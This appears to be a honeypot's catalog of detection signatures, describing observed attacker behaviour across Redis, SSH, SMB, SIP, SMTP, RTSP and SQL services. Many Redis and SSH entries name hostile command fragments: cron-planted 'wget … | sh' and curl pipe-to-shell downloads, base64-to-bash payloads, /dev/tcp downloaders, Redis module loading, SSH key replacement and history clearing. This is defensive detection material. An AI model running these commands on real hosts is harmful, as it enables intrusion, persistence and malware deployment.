redis — Detects execution of the Redis KEYS * command, which enumerates all keys stored in the database. This operation is commonly used during reconnaissance after gaining access to an exposed Redis instance, allowing an attacker to discover stored data, application structures, session identifiers, or previously implanted payloads. Because KEYS * performs a full keyspace scan and can impact performance, it is rarely used in production applications and is strongly associated with manual exploration or automated exploitation tooling targeting misconfigured Redis services.
redis — The Redis client authenticated and presented a structured identifier string (MGLNDD_[ip]_6379) consistent with automated tooling rather than a standard Redis client library. The identifier appears programmatically generated and likely encodes campaign or bot metadata such as target address and service port. This primitive captures observable client self-identification behavior that can be used for clustering sessions, attributing activity to automated reconnaissance frameworks, or correlating repeated scans across sensors. No direct malicious action is implied by the identifier itself; it serves as telemetry indicating scripted or bot-driven interaction with the Redis service.
redis — Sends an invalid or non-existent Redis command to observe error handling behavior, response formatting, and protocol strictness, often used to fingerprint Redis versions or detect custom proxies, wrappers, or honeypots.
redis — Sends a Redis PING command to verify that the Redis service is reachable and responsive, typically used as a basic liveness or health-check probe.
redis — Sends the Redis QUIT command to gracefully close the client connection, allowing observation of connection teardown behavior and protocol compliance.
redis — Issues the Redis SAVE command to force an immediate synchronous persistence of the in-memory dataset to disk, often used after configuration changes to materialize written files and commonly observed in exploitation chains targeting arbitrary file writes.
redis — Detects execution of the Redis SCAN command with a numeric cursor (e.g., SCAN 9000). This operation performs incremental keyspace iteration starting from the provided cursor value and is commonly used to enumerate keys without blocking the server like KEYS *.
redis — Uses the Redis SET command to store a value that resembles a cron-style scheduled task combined with a remote shell script download and execution, a pattern commonly associated with attempts to establish persistence or deploy malware after abusing Redis file-write or configuration weaknesses.
redis — Detects a Redis SET command that writes a cron-formatted schedule (*/2 * * * *) into a key (e.g., backup1) containing a base64-encoded payload piped through base64 -d | bash | bash. This pattern is strongly associated with Redis exploitation where attackers abuse write access to plant cron jobs that repeatedly download and execute remote shell scripts. The decoded payload typically performs cd followed by remote script retrieval (e.g., via HTTP) and execution, establishing persistence and enabling botnet enrollment or cryptominer deployment.
redis — Detects a Redis SET command that writes an @hourly cron job invoking python -c with urllib2.urlopen() to fetch a remote shell script over HTTP, save it to a hidden dot-file, chmod it executable, and execute it. This reflects automated Redis exploitation used for persistent botnet or malware deployment via scheduled task abuse.
redis — Detects a Redis SET command that implants a cron-formatted entry (*/<n> * * * *) containing a direct HTTP retrieval (curl/cd1 -fsSL style fetch) piped into sh. This pattern reflects Redis exploitation where attackers establish scheduled remote script execution without obfuscation (no base64 layer), typically for botnet enrollment or cryptominer deployment.
redis — Detects a Redis SET command that writes a system-style cron entry including the root user field, executing a base64-decoded payload piped into bash. This reflects Redis exploitation where attackers implant privileged cron-based persistence for repeated remote payload execution.
redis — Detects a Redis SET command that implants a system-style cron entry including the root user field and a direct HTTP fetch piped into sh (e.g., cd1 -fsSL http://… | sh). This reflects Redis exploitation where an attacker establishes privileged scheduled execution for repeated remote script retrieval and execution. The inclusion of root indicates targeting of /etc/crontab-style injection, enabling execution with elevated privileges after a subsequent SAVE/BGSAVE. This is strongly associated with automated botnet propagation and host-level persistence via misconfigured or unauthenticated Redis services.
redis — Detects a Redis SET command that implants a system-style cron entry including the root user field and a wget -q -O- <url> | sh execution chain. This reflects Redis exploitation where an attacker prepares a privileged cron-based persistence mechanism that silently retrieves a remote shell script and immediately executes it via sh. The inclusion of root indicates targeting of /etc/crontab-style injection rather than user crontab format, enabling elevated scheduled execution after a subsequent SAVE/BGSAVE. This behavior is strongly associated with automated botnet deployment and cryptomining campaigns targeting exposed Redis services.
redis — Uses the Redis SET command to write an SSH public key (ssh-rsa) value, a technique commonly used after changing Redis dir and dbfilename to place the key into an authorized_keys file, enabling SSH key-based access for the attacker.
redis — Creates a Redis cron job (set x * * * * *) that checks for the presence of the McersIKjWD process, opens a raw /dev/tcp socket to a remote host, downloads a payload using GET /linux, writes it to /tmp/McersIKjWD, sets executable permissions, and executes the /tmp/McersIKjWD binary with an encoded argument.
redis — Detects a Redis SET command that writes a cron-formatted entry (*/<n> * * * *) invoking wget -q -O- <url> | sh. This reflects Redis exploitation where an attacker implants a scheduled task that silently downloads a remote shell script and immediately pipes it into sh for execution. The -q -O- combination is characteristic of automated botnet droppers, enabling non-interactive retrieval and direct execution without writing the payload to disk first. This behavior indicates persistence establishment and remote command staging on a host with an exposed or misconfigured Redis service.
redis — Uses the Redis SET command to write a cron entry in system-cron format (including an explicit execution user such as root), combined with a remote shell script download and pipe-to-shell execution. This indicates an active Redis exploitation attempt aimed at achieving root-level persistent code execution via /etc/crontab or /etc/cron.d/*.
redis — Uses the Redis system.exec capability to execute rm -rf /tmp/exp.so, removing the exp.so file from /tmp, typically used to clean up a previously deployed malicious Redis module.
redis — Uses the Redis system.exec module capability to execute a Bash command that opens a raw /dev/tcp socket to a remote host, retrieves a payload using GET /linux, writes it to /tmp/QWzDHPQ00w, sets executable permissions, and executes the downloaded binary with a long encoded argument.
redis — Detects execution of the Redis TYPE command against the key audit:events. This operation queries the data type of a specific audit-related key, indicating targeted inspection of an event logging or audit trail structure within the Redis datastore.
redis — Detects execution of the Redis TYPE command against a user-scoped cache key following the pattern cache:user:<numeric_id>. This operation queries the underlying data type of a specific cached user object, indicating targeted inspection of application-layer user data stored in Redis.
redis — Detects execution of the Redis TYPE command against the key config:cloud_credentials. This operation queries the data type of a configuration key that likely stores cloud provider credentials or related secrets.
redis — Detects execution of the Redis TYPE command against the key config:database. This operation queries the data type of a configuration key likely associated with database connection settings or credentials.
redis — Detects execution of the Redis TYPE command against the key config:encryption_key. This operation queries the data type of a configuration key that likely stores cryptographic key material or encryption secrets used by the application.
redis — Detects execution of the Redis TYPE command against the key config:jwt_secret. This operation queries the data type of a configuration key likely storing the application's JWT signing secret.
redis — Detects execution of the Redis TYPE command against the key config:mail_api_key. This operation queries the data type of a configuration key likely storing an outbound mail service API credential (e.g., SMTP provider or transactional email service key).
redis — Detects execution of the Redis TYPE command against the key config:payment_api_key. This operation queries the data type of a configuration key likely storing a payment provider API credential (e.g., Stripe, PayPal, or similar service).
redis — Detects execution of the Redis TYPE command against the key config:vcs_token. This operation queries the data type of a configuration key likely storing a version control system (VCS) access token (e.g., GitHub, GitLab, Bitbucket).
redis — Detects execution of the Redis TYPE command against the key config:webhook_url. This operation queries the data type of a configuration key likely storing an outbound webhook endpoint URL used for event notifications or integrations.
redis — Detects execution of the Redis TYPE command against the key features:flags. This operation queries the data type of a feature flag configuration structure within the Redis datastore.
redis — Detects execution of the Redis TYPE command against the key internal:admin_url. This operation queries the data type of a key likely storing an internal administrative endpoint URL.
redis — Detects execution of the Redis TYPE command against the key internal:api_url. This operation queries the data type of a key likely storing an internal API endpoint URL used for service-to-service communication.
redis — Detects execution of the Redis TYPE command against the key internal:metrics_url. This operation queries the data type of a key likely storing an internal metrics or monitoring endpoint URL (e.g., Prometheus, stats, health endpoints).
redis — Detects execution of the Redis TYPE command against the key leaderboard:global. This operation queries the underlying data type of a globally scoped leaderboard structure, typically implemented as a sorted set (zset).
redis — Detects execution of the Redis TYPE <key> command against a specific key (e.g., apikey:sk_live_...). This operation queries the data type of a targeted key and is commonly observed during manual exploration or automated reconnaissance of a Redis instance after access has been obtained. When the probed key name resembles sensitive identifiers (such as API keys, tokens, credentials, or configuration secrets), this behavior may indicate targeted discovery attempts aimed at identifying valuable data for exfiltration or misuse.
redis — Uses the Redis CONFIG SET dbfilename exp.so command to change the Redis database snapshot filename to exp.so, a technique commonly used to write a malicious shared object file to disk for later loading as a Redis module.
redis — Uses the Redis CONFIG SET dir command to change the Redis working directory to /tmp/, altering the location where Redis writes database snapshot files.
redis — Uses the Redis MODULE LOAD command to load a module from /tmp/exp.so, dynamically introducing external compiled code into the Redis server process.
redis — Uses the Redis MODULE UNLOAD command to remove the system module from the Redis server, unloading the previously loaded module and disabling its extended command capabilities.
redis — Uses the Redis SLAVEOF NO ONE command to stop replication and promote the Redis instance to operate as a standalone master.
redis — Uses the Redis SLAVEOF command to configure the server to replicate from a remote master at a specified IP address and port, allowing the remote host to control replication data sent to the Redis instance.
redis — Detects execution of the Redis ZRANGE command against the sorted set key leaderboard:global with a numeric index window (e.g., 100 199). This operation retrieves a bounded slice of ranked entries from a global leaderboard structure, indicating read-access to ordered application data stored in a sorted set.
rtsp — RTSP DESCRIBE is a request used to fetch details about a media stream, such as available tracks and session parameters. It’s commonly sent when a client or scanner checks what a camera or streaming service exposes before attempting playback.
rtsp — This method is typically sent as an initial capability check by scanners or reconnaissance tooling to discover supported methods and confirm the presence of a live RTSP endpoint before attempting further interaction. Often associated with discovery-stage behavior rather than direct exploitation, but repeated or automated usage may indicate pre-attack reconnaissance against cameras, NVRs, or media streaming services.
rtsp — RTSP OPTIONS request containing embedded username and password credentials in the URI. This format is commonly used by automated scripts and scanners attempting to access exposed RTSP devices using default or guessed login combinations.
rtsp — RTSP PLAY starts the delivery of a media stream after a session has been set up. It tells the device or server to begin sending audio or video data to the client. When seen from unknown sources on exposed services, PLAY requests can indicate attempts to access live camera feeds or streaming content.
rtsp — RTSP SETUP is used to prepare a media stream for delivery by establishing transport parameters between the client and the streaming device. It tells the server how the stream should be sent (for example over TCP or UDP) and is normally part of the process that happens just before playback begins. In exposed environments, repeated or unauthenticated SETUP requests can indicate attempts to access or interact with open camera or streaming services.
rtsp — RTSP TEARDOWN ends an active streaming session and tells the device or server to stop sending media data. It’s a normal part of closing a connection, but when seen repeatedly from external sources it can indicate automated interaction with exposed cameras or streaming services.
rtsp — RTSP request targeting /multicast/profile2/media.smp, a stream path commonly associated with IP camera multicast profiles, frequently observed in automated probing and unauthorized access attempts against exposed RTSP services.
rtsp — RTSP request targeting /Streaming/Channels/101, a default channel path commonly associated with IP cameras (e.g., Hikvision), frequently observed in automated scanning and unauthorized access attempts against exposed RTSP services.
ssh — SCP executed in quiet mode (-q) with “to” mode (-t), indicating the remote endpoint is receiving files. This pattern is commonly associated with automated file transfer for payload staging, tooling deployment, or post-exploitation activity.
sip — Represents a SIP Call-ID composed of a short, mixed-case alphanumeric string with high apparent entropy. This Call-ID format is commonly produced by modern SIP stacks, softphones, or randomized token generators, and may also appear in custom tooling that uses base64-like encoding. The presence of trailing padding characters (e.g. ..) may indicate truncated or non-standard Call-ID generation.
sip — Represents a SIP Call-ID consisting of a 32-character hexadecimal string, a format commonly generated by modern SIP stacks, gateways, or hashing-based Call-ID generators. This format is not inherently malicious and may be used by both legitimate user agents and automated tools.
sip — Represents a SIP Call-ID consisting of a single long numeric value without separators or host qualification. This Call-ID format is atypical for standard SIP user agents and is commonly generated by automated or custom SIP tooling, including scanners and fraud bots. The absence of domain context and formatting indicates non-compliant or minimal SIP stack implementations.
sip — Represents a SIP Call-ID composed of multiple hyphen-delimited decimal integers, a format commonly generated by automated SIP scanners, embedded SIP stacks, or fraud bots rather than legitimate user agents.
sip — Represents a SIP Call-ID composed of a millisecond-resolution timestamp and a secondary numeric identifier, followed by a non-qualified local domain (e.g. @local). This Call-ID format is commonly generated by custom or automated SIP tooling rather than standard SIP user agents, and is frequently observed in scanning, enumeration, or fraud-related activity. The use of a placeholder local domain indicates the Call-ID was generated without regard for SIP domain correctness, a pattern typical of bots or lightweight SIP libraries.
sip — Represents a SIP Call-ID value where a randomly generated alphanumeric token is followed by an at-sign and a direct IPv4 address. This format is commonly observed in automated SIP scanners, VoIP enumeration tools, and bot-driven INVITE floods that construct synthetic Call-ID headers referencing the target host IP (often the sensor or destination endpoint) rather than a legitimate domain-based identifier used by standard SIP clients or PBX systems.
sip — Represents a SIP INVITE request sent to initiate a call to a specific SIP URI. This primitive indicates an attempt to establish a voice session and is commonly observed during call probing, extension enumeration, toll-fraud attempts, or abuse of open or misconfigured SIP services. When unsolicited or unauthenticated, it often signals malicious intent rather than legitimate call setup.
sip — Represents a SIP REGISTER request sent to a SIP server, indicating an attempt by a client to register a user agent and associate a SIP identity with a contact address. This primitive is commonly used for service discovery, credential brute-forcing, account enumeration, or establishing a foothold for subsequent SIP-based attacks such as call fraud or proxy abuse.
sip — SIP request where the Request-URI is set to sip:nm, indicating a minimal or malformed target identifier often used in scanning or fuzzing attempts against SIP services.
smb — SMB connection to the ADMIN$ share.
smb — SMB connection to the BACKUP share.
smb — SMB connection to the C$ share.
smb — SMB connection to the DATA share.
smb — SMB CREATE operation for directory test_zorg_test_23901_1771094373.tmp with CREATE disposition (fail if exists) and READ_ATTRIBUTES access, indicating creation attempt of a temporary directory using a structured numeric naming pattern.
smb — RPC operation over SMB with no observed payload or parameters
smb — SMB CREATE file operation targeting delete.me with write, append, attribute modification, delete, and read control access rights, using OVERWRITE_IF disposition to create or replace the file if it does not already exist.
smb — SMB CREATE file operation targeting MyWallet.exe with write and append access rights, using OVERWRITE_IF disposition to create or replace the executable if it does not already exist.
smb — SMB [FILE] CREATE operation on the RemCom_std* pipe with read access requested.
smb — SMB [FILE] CREATE operation on the samr path with requested read/write access flags.
smb — SMB read access on the Financials\Archive directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Financials directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the HR\Contracts directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the HR directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB connection to the IPC$ share.
smb — SMB read access on the IT directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the IT\Scripts directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Legal directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Marketing directory path using READ_DATA and READ_ATTRIBUTES.
smb — Access to the \PIPE\wkssvc named pipe over SMB, indicating RPC interaction with the Windows Workstation Service for host or domain information enumeration.
smb — SMB share access to NETLOGON (e.g., \\<ip>\NETLOGON), indicating interaction with the domain logon script and policy distribution share typically present on Windows domain controllers.
smb — SMB read access on the old directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Projects\Archive directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Projects directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Projects\ProjectAlpha directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Projects\ProjectBeta directory path using READ_DATA and READ_ATTRIBUTES.
smb — SMB read access on the Public directory path using READ_DATA and READ_ATTRIBUTES.
smb — Detects SMB RPC communication over the RemCom_communication named pipe, commonly associated with the RemCom remote command execution utility and PsExec-style lateral movement. This primitive indicates potential remote command execution activity via administrative shares and service-based execution mechanisms.
smb — SMB CREATE operation on the RemCom_communicaton pipe with broad read/write/control access.
smb — SMB READ operation on the root directory path, 1,024 bytes
smb — Invokes the OpenSCManagerW operation over SMB/DCERPC to obtain a handle to the Service Control Manager on the target system. This is a prerequisite step for remote service enumeration, creation, or modification.
smb — Accesses the srvsvc RPC interface over SMB/DCERPC, which provides server service functions such as share enumeration and network resource information retrieval.
smb — Accesses the svcctl (Service Control Manager) RPC interface over SMB/DCERPC, enabling service-related operations such as enumeration, creation, or modification on the target system.
smb — Invokes operation op14 on the svcctl (Service Control Manager) RPC interface over SMB/DCERPC. This corresponds to a service management function (exact method unresolved), typically part of remote service interaction workflows.
smb — SMB DCE/RPC invocation of wkssvc operation 0 (NetWkstaGetInfo), used to retrieve workstation and OS information from a Windows host.
smb — SMB RPC BIND operation on the samr pipe.
smb — SMB RPC call samr:op1 executed on the samr interface.
smb — SMB RPC call samr:op57 executed on the samr interface.
smb — SMB RPC call samr:op62 executed on the samr interface.
smb — SMB RPC call samr:op64 executed on the samr interface.
smb — SMB CREATE operation on the srvsvc pipe with READ_DATA | WRITE_DATA access.
smb — RPC BIND operation on the srvsvc pipe and interface.
smb — SMB CREATE operation on the svcctl pipe with READ_DATA | WRITE_DATA access.
smb — RPC BIND operation on the svcctl pipe and interface.
smb — Matches any SMB activity without filtering (*). Used as a fallback or catch-all pattern when no more specific signature is defined.
smb — Writes or references a file named DNYLjEUkZr.txt over SMB. This exact filename appears as a transient artifact during automated SMB interaction.
smb — Writes or references a file named DohNGLliaI over SMB. This exact filename was observed as part of automated SMB interaction, likely used as a transient or probe artifact.
smb — Writes or references a file named QXfOniTpEc over SMB. This exact filename appears as a transient artifact during automated SMB interaction.
smb — Writes or references a file named XCwhfpBZlq.txt over SMB. This exact filename appears to be randomly generated and used as a transient artifact during automated SMB interaction.
smb — Writes a hidden temporary file following the pattern .test_write_<numeric_timestamp>.tmp to an SMB share. This precise naming convention indicates an automated write-permission probe used to validate access before further actions.
smtp — SMTP message body containing the specific “private funding group” bridge-financing solicitation text referencing [email protected] and requesting WhatsApp contact details, matching this exact spam template rather than generic financing content.
smtp — SMTP message body contained the string t_Smtp.LocalIP, a pattern commonly used by automated relay-testing tools to verify message delivery or identify the responding server’s local IP during open-relay validation. In honeypot environments, this marker typically indicates scripted testing rather than legitimate email content and is often associated with spam bot or relay-probe activity.
smtp — SMTP message body containing a delivery notice indicating the email was relayed from a specific source IP and port (for example “Email delivered from [ip] with port [port]”), reflecting relay attribution text embedded in the message content.
smtp — SMTP message body contains a structured relay-testing payload including IP address, timestamp, hostname, and a unique marker token. This format is commonly generated by automated open-relay validation tools to confirm successful message submission and identify the responding SMTP host. Presence of a MARKER value and repeated IP/hostname fields strongly indicates scripted probing rather than legitimate email content.
smtp — SMTP client issued the DATA command to begin transmitting the email message content, including headers and body, after sender and recipient addresses have been accepted. This marks the transition from transaction setup to actual message delivery. In honeypot environments, automated spam bots and relay probes often use DATA to verify whether the server allows unauthenticated message submission or open relay behavior.
smtp — SMTP client supplied www.censys.io as the EHLO/HELO argument, identifying itself as part of the Censys internet-wide scanning infrastructure. This hostname is commonly used by legitimate reconnaissance scanners performing capability discovery, banner collection, or security research. While generally benign in intent, the behavior still represents automated probing activity against exposed SMTP services.
smtp — SMTP client issued an EHLO command to identify itself and initiate an Extended SMTP session. This is the standard capability negotiation step where the client announces its hostname and requests supported extensions from the server. On exposed or honeypot SMTP services, automated tools and spam bots often send EHLO immediately after connecting as part of relay testing, enumeration, or bulk delivery workflows.
smtp — SMTP client supplied felicitous.monitoring.internet-measurement.co as the EHLO/HELO argument, indicating activity from an internet measurement or research scanning platform. Such identifiers are typically used by large-scale telemetry projects to enumerate exposed services, collect capability data, and assess protocol support. While generally non-exploitative, this primitive represents automated reconnaissance against the SMTP service.
smtp — SMTP client issued the HELO command to initiate a legacy SMTP session. Unlike EHLO, this greeting does not request or negotiate extended SMTP capabilities and typically indicates a minimal or compatibility-focused client. In honeypot telemetry, HELO is commonly seen in basic probes, older tooling, or lightweight automation that performs simple connectivity or relay checks without extension discovery.
smtp — SMTP client issued a MAIL FROM command to define the envelope sender address for a message transaction. This begins the message submission phase by specifying the return-path used during delivery. In exposed or honeypot SMTP environments, automated bots commonly set arbitrary or disposable sender addresses during relay testing, spam campaigns, or bulk delivery probing.
smtp — SMTP client issued a QUIT command to gracefully terminate the SMTP session. This signals the end of the transaction and requests the server close the connection cleanly. In automated scanning or spam workflows, bots typically send QUIT immediately after completing relay tests or message submission to finalize the session before moving on to the next target.
smtp — SMTP client issued a RCPT TO command to declare a recipient address for the current mail transaction. This step validates whether the server will accept delivery to the specified mailbox or relay target. In honeypot or exposed SMTP services, automated scanners and spam bots frequently use RCPT commands to test relay capability, enumerate valid recipients, or prepare bulk message delivery attempts.
smtp — SMTP client issued an RSET command to reset the current mail transaction state without closing the connection. This clears any previously defined sender, recipients, or message data and returns the session to an idle state. In honeypot environments, automated scanners and spam bots frequently use RSET during relay testing, recipient probing, or scripted delivery attempts to quickly restart the transaction flow.
smtp — SMTP client issued a STARTTLS command to request upgrading the current plaintext SMTP session to a TLS-encrypted channel. This is part of normal protocol behavior for secure mail delivery, but in honeypot or exposed services it may also appear during automated probing where bots test whether encrypted submission is supported before continuing authentication attempts, relay testing, or message delivery workflows.
mysql — Commits the current database transaction, permanently applying all changes made since the last transaction start (often following multi-step modification or destructive actions)
mysql — Lists all tables in the currently selected database, commonly used during reconnaissance to understand schema structure before data access, modification, or exfiltration
mysql — Lists all tables in the currently selected database, commonly used for schema reconnaissance prior to data access, modification, or destruction.
postgres — Marks the start of an explicit database transaction in PostgreSQL. In a honeypot context, this primitive indicates that a client has begun manual transaction control, which is commonly seen during interactive sessions, scripted exploitation attempts, schema exploration, or preparation for multi-step operations such as data modification, privilege escalation, or lock probing.
ssh — Chained shell execution that navigates to the user’s home directory, removes the existing .ssh directory (rm -rf .ssh), recreates it, appends a provided public key to .ssh/authorized_keys, and applies restrictive permissions (chmod -R go=). This sequence effectively replaces existing SSH access configuration and installs a new authorized key for persistent access under the current user account.
ssh — Parses /etc/passwd using awk to identify interactive user accounts (UID ≥ 1000, excluding nologin/false shells), counts them via wc -l, and suppresses stderr output. Indicates targeted enumeration of legitimate user accounts following shell access.
ssh — Execution of echo $BASH_VERSION to display the current Bash shell version from the environment variable. This pattern reflects shell environment identification and interpreter fingerprinting, commonly performed after obtaining interactive access to determine shell capabilities or assess sandbox realism.
ssh — Reads /etc/issue while redirecting stderr to /dev/null to silently retrieve system banner or distribution identification information. Commonly used for OS fingerprinting after interactive shell access.
ssh — Reads /etc/os-release, suppresses stderr output, and pipes the result to head -6 to extract key distribution metadata. Indicates deliberate operating system fingerprinting following shell access.
ssh — Reads /etc/passwd with stderr redirected to /dev/null to enumerate local user accounts and system entries. Indicates post-compromise user discovery or privilege escalation reconnaissance.
ssh — Executes cat /proc/cpuinfo over SSH to retrieve detailed CPU information including model, cores, flags, and architecture from the Linux proc filesystem.
ssh — Identifies reading of /proc/cpuinfo with stderr suppressed, filtered for the model name field, and truncated to the first occurrence. This pattern extracts the CPU model identifier while limiting output volume. The combination of filtering and truncation strongly indicates scripted hardware fingerprinting rather than interactive inspection.
ssh — Identifies reading of /proc/meminfo with stderr suppressed and output truncated via head. This pattern extracts the first few lines of kernel memory statistics (typically including MemTotal, MemFree, MemAvailable, etc.) while limiting output volume. The use of truncation and error suppression indicates scripted resource reconnaissance rather than interactive troubleshooting.
ssh — Changes directory sequentially to /dev/shm, /tmp, /var/run, /mnt, /root, and /, suppressing errors for each failed cd. Outputs the first successfully entered directory using pwd and stops execution.
ssh — Changes directory to /dev/shm, /tmp, /var/run, /mnt, /root, or / using || fallback chaining until one succeeds, then writes to a file named netai using cat > netai.
ssh — Changes directory to /tmp. If w.sh does not exist, creates it by writing from standard input using cat > w.sh and sets it as executable with chmod +x w.sh.
ssh — Single-line chained malware deployment sequence that iterates across common writable directories, downloads multiple architecture-specific rizzx.* binaries from a remote host using both wget and curl -O, sets executable permissions, executes each binary with a self-referential argument, removes each artifact after execution, performs wildcard cleanup (rm -rf rizzx.*), and clears shell history (history -c). This represents an automated multi-architecture propagation chain delivered as a single SSH command.
ssh — Sets the executable permission on the file speedtest-cli using chmod +x, allowing the downloaded Speedtest CLI script to be executed directly as a program. This step typically follows retrieval of the speedtest-cli Python script and prepares it for execution to perform network bandwidth testing from the host.
ssh — Invokes chmod +x /usr/.work/work32 to mark the file work32 as executable within /usr/.work. This exact command prepares a previously uploaded binary or script for execution on the target system, enabling subsequent launch without permission errors.
ssh — Invokes chmod +x /usr/.work/work64 to mark the file work64 as executable within /usr/.work. This exact command prepares the binary or script for execution by granting execute permissions on the target system.
ssh — Piped execution of echo "<user>:<password>" | chpasswd to non-interactively update a local account password by feeding credentials directly into chpasswd, indicating scripted or automated credential modification on a Unix-like system.
ssh — Execution of ssh -V to retrieve the installed OpenSSH client version string, typically used to identify the SSH client build and version present on the system.
ssh — Execution of command -v kill *>&* || echo command not found to determine whether the kill command is available in the current execution environment. The construct redirects errors to standard output and provides a fallback message if the command is not present, indicating a scripted binary presence check.
ssh — Single-shot reconnaissance script that enumerates compute resources (CPU count, CPU model, GPU via lspci, architecture, uptime) alongside coreutil help output capture (cat --help, ls --help) and login history, exfiltrating all results as labeled key-value pairs (UNAME:, GPU:, ARCH:, etc.).
ssh — Execution of test -f /run/.containerenv && echo PODMAN to verify the presence of the /run/.containerenv file and emit a marker string if found. This pattern reflects explicit Podman container environment detection, as the presence of this file is commonly used to identify Podman-based runtime environments prior to continued attacker activity.
ssh — Execution of find /opt/cowrie/.venv -name 'conch' -type d 2>/dev/null | head -1 to search within Cowrie’s embedded virtual environment for a directory named conch and return the first match. This pattern reflects targeted detection of the Twisted Conch SSH framework within a default Cowrie virtualenv structure, indicating deliberate honeypot fingerprinting prior to continued attacker activity.
ssh — Observed command grep -c processor /proc/cpuinfo executed over SSH to count CPU cores by enumerating processor entries in /proc/cpuinfo, commonly used for host hardware profiling, virtualization detection, or post-authentication environment assessment.
ssh — Reads /proc/cpuinfo, filters lines containing processor, and counts them using wc -l to output the number of CPU cores.
ssh — Identifies reading /proc/cpuinfo, filtering for lines containing name, truncating to the first match, and extracting a fixed subset of positional fields via awk. Instead of returning the full model string, this pattern selectively reconstructs specific columns (e.g., $4–$9), indicating deliberate parsing logic tailored for compact hardware fingerprinting.
ssh — Identifies an SSH session where the attacker extracts the CPU model name from /proc/cpuinfo using grep 'model name', then normalizes the output via cut, sed, and xargs, suppressing errors with 2>/dev/null and falling back to echo unknown if parsing fails. This structured command chain is characteristic of automated post-compromise host profiling used to fingerprint processor type and optimize payload selection.
ssh — Identifies reading /proc/cpuinfo, filtering for lines containing both model and name, and counting the resulting entries via wc -l. This pattern refines CPU enumeration by narrowing specifically to model name lines before deriving a numeric count, typically corresponding to logical processor count. The dual grep chain indicates deliberate field narrowing rather than broad string matching.
ssh — Identifies reading /proc/cpuinfo, filtering for lines containing name, and counting the number of matches using wc -l. This pattern is used to derive CPU core or processor thread count based on repeated model name entries. The absence of truncation suggests intent to compute a numeric value rather than inspect content.
ssh — Execution of grep -c 'processor' /proc/cpuinfo 2>/dev/null to count the number of processor entries in /proc/cpuinfo, effectively determining the number of available CPU cores while suppressing error output. The use of -c indicates programmatic evaluation of the result, reflecting host capability profiling or sandbox realism assessment following shell access.
ssh — Reads /proc/cpuinfo, filters for lines containing model name, and returns the first match using head. Represents extraction of CPU model information for host hardware fingerprinting.
ssh — Extracts the CPU model name from /proc/cpuinfo by grepping for model name, suppressing stderr, selecting the first match, isolating the value field via cut -d ':' -f2, trimming leading whitespace using sed, normalizing spacing with xargs, and falling back to unknown if no result is produced. This indicates automated hardware fingerprinting to determine processor capability (e.g., virtualization hints, mining suitability, performance profiling).
ssh — Creates the directory ~/.config/systemd/user, writes a service file to ~/.config/systemd/user/watcher-netai.service from standard input, reloads the user systemd daemon, and enables and starts the watcher-netai.service immediately using systemctl --user enable --now.
ssh — Invokes mkdir /usr/.work to create a hidden directory named .work directly under /usr. This exact command establishes a filesystem location for later payload staging, temporary working data, or persistence-related files in a less conspicuous path within a standard system directory.
ssh — Identifies execution of crontab -l to list the scheduled cron jobs for the current user. This command reveals recurring tasks configured via the user’s crontab file and is commonly used to inspect persistence mechanisms or determine whether scheduled execution hooks already exist on the system.
ssh — Executes crontab -l with stderr redirected to /dev/null and pipes output to head -5 to preview scheduled cron jobs. Indicates post-compromise inspection of persistence mechanisms or host activity realism.
ssh — Reads existing crontab entries (crontab -l, ignoring errors). Checks whether an entry invoking /tmp/w.sh "astats" "netai" "kstats" "ssh 1 az" exists. If not present, prepends two entries: one @reboot execution of /tmp/w.sh with arguments, and one hourly (0 * * * *) execution from /tmp. Writes the updated combined entries back into crontab.
ssh — Identifies execution of ssh -V with explicit stderr-to-stdout redirection (2>&1). Since ssh -V prints its version string to stderr by default, this redirection indicates intentional capture of version output within scripts or automated reconnaissance workflows rather than casual interactive use.
ssh — Execution of date +%Y 2>/dev/null to retrieve the current system year in four-digit format while suppressing error output. This pattern reflects system time validation or environment profiling activity, commonly used to assess clock accuracy or detect unrealistic timestamps in sandboxed or emulated environments.
ssh — Executes dd to write a fixed amount of zeroed data from /dev/zero to a file in /tmp while wrapped in time, capturing timing output via 2>&1. Represents a disk write throughput and performance measurement of the local filesystem.
ssh — Execution of test -c /dev/null && test -c /dev/random && echo OK || echo MISSING to verify the presence of standard character devices /dev/null and /dev/random, returning a boolean-style indicator. This pattern reflects low-level system sanity validation commonly used to detect incomplete containerized, emulated, or sandboxed environments prior to continued attacker activity.
ssh — Execution of df -h to enumerate mounted filesystems and obtain human-readable disk space usage statistics, typically used to assess available storage capacity and filesystem layout on a Unix-like system.
ssh — Identifies execution of df -h with output truncated to the first two lines, followed by awk logic that explicitly selects the second record (FNR == 2) and extracts the second column. This pattern programmatically isolates the total size of the first listed filesystem (typically /). The structured line targeting indicates automated parsing rather than interactive inspection.
ssh — Identifies execution of df -h / with stderr suppression, piped through tail -1 to isolate the root filesystem entry, and then processed via awk to extract the fourth column (typically available disk space). Additional stderr redirection indicates output noise suppression. This pattern reflects scripted extraction of specific storage metrics rather than interactive inspection.
ssh — Execution of test -f /.dockerenv && echo DOCKER to check for the presence of the /.dockerenv file and emit a marker string if found. This pattern reflects explicit container environment detection, as the presence of /.dockerenv is commonly used to identify Docker-based runtime environments prior to continued attacker activity.
ssh — Identifies the use of echo to supply Base64-encoded data into base64 -d, with the decoded output redirected to a file—specifically a dot-prefixed (hidden) file on disk. This pattern is commonly used to reconstruct credentials, configuration blobs, droppers, or staging data while minimizing visibility. Redirecting stderr to /dev/null further indicates error suppression and operational stealth.
ssh — Identifies the use of echo to supply Base64-encoded data directly into base64 -d (decode), typically to reconstruct payload content inline within an SSH session. This pattern is commonly used to decode staged command fragments, scripts, or small binary blobs without writing the encoded string to disk first. The redirection of stderr to /dev/null further suggests an attempt to suppress decoding errors or reduce noise.
ssh — Identifies sequential execution of multiple echo commands chained with &&, producing deterministic literal output. This pattern is commonly used to validate shell execution, confirm command chaining behavior, or test output capture within automated workflows. Unlike single echo usage, the logical AND operator (&&) enforces successful execution of the first command before the second runs, indicating deliberate flow control.
